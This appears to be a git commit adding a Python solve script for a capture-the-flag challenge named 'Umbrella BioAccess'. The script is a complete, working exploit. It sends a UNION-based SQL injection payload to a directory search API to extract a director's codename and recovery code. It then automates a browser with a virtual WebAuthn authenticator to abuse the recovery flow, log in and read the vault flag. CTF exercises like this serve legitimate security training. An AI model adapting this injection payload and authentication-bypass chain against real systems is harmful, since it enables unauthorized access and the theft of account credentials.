Init. commit

This commit is contained in:
Caplag
2026-04-22 10:42:16 +03:00
commit 98e51ca58b
35 changed files with 2371 additions and 0 deletions

View File

@@ -0,0 +1,147 @@
import argparse
import re
import sys
from dataclasses import dataclass
from urllib.parse import urljoin
import requests
import urllib3
from playwright.sync_api import BrowserContext, Page, sync_playwright
DIRECTOR_QUERY = (
"') UNION ALL SELECT codename,recovery_code,division,dossier "
"FROM directory_public_view WHERE role='director' -- "
)
RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$")
@dataclass
class DirectorProfile:
codename: str
recovery_code: str
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.")
parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf")
parser.add_argument(
"--insecure",
action="store_true",
help="Disable TLS verification for self-signed challenge certificates",
)
parser.add_argument(
"--headful",
action="store_true",
help="Run Chromium in headful mode for debugging",
)
return parser.parse_args()
def api_url(base_url: str, path: str) -> str:
return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
def discover_director(base_url: str, insecure: bool) -> DirectorProfile:
session = requests.Session()
session.verify = not insecure
if insecure:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = session.post(
api_url(base_url, "/api/directory/search"),
json={"query": DIRECTOR_QUERY},
timeout=20,
)
response.raise_for_status()
payload = response.json()
items = payload.get("items", [])
for item in items:
codename = str(item.get("codename", ""))
display_name = str(item.get("displayName", ""))
if RECOVERY_CODE_RE.fullmatch(display_name):
return DirectorProfile(codename=codename, recovery_code=display_name)
raise RuntimeError("Director recovery vector not found in SQLi response")
def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None:
cdp = context.new_cdp_session(page)
cdp.send("WebAuthn.enable")
cdp.send(
"WebAuthn.addVirtualAuthenticator",
{
"options": {
"protocol": "ctap2",
"transport": "internal",
"hasResidentKey": True,
"hasUserVerification": True,
"isUserVerified": True,
"automaticPresenceSimulation": True,
}
},
)
def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str:
with sync_playwright() as playwright:
browser = playwright.chromium.launch(headless=not headful)
context = browser.new_context(ignore_https_errors=insecure)
page = context.new_page()
enable_virtual_authenticator(context, page)
page.goto(api_url(base_url, "/recovery"), wait_until="networkidle")
page.get_by_test_id("recovery-code").fill(profile.recovery_code)
page.get_by_test_id("recovery-submit").click()
page.wait_for_url(re.compile(r".*/access$"), timeout=20_000)
page.get_by_test_id("login-codename").fill(profile.codename)
page.get_by_test_id("login-submit").click()
page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000)
page.get_by_test_id("vault-fetch").click()
page.wait_for_function(
"""
() => {
const node = document.querySelector('[data-testid="vault-flag"]');
return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.';
}
""",
timeout=20_000,
)
flag = page.get_by_test_id("vault-flag").text_content().strip()
browser.close()
if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.":
raise RuntimeError("Vault returned no payload")
if not flag.lower().startswith("caplag{"):
raise RuntimeError(f"Unexpected flag format: {flag}")
return flag.lower()
def main() -> int:
args = parse_args()
try:
profile = discover_director(args.base_url, args.insecure)
print(f"[+] director codename: {profile.codename}")
print(f"[+] recovery code: {profile.recovery_code}")
flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful)
print(f"[+] flag: {flag}")
return 0
except Exception as exc:
message = str(exc)
if "Executable doesn't exist" in message or "playwright install" in message.lower():
message = f"{message}\n[hint] install a browser with: python -m playwright install chromium"
print(f"[-] solve failed: {message}", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())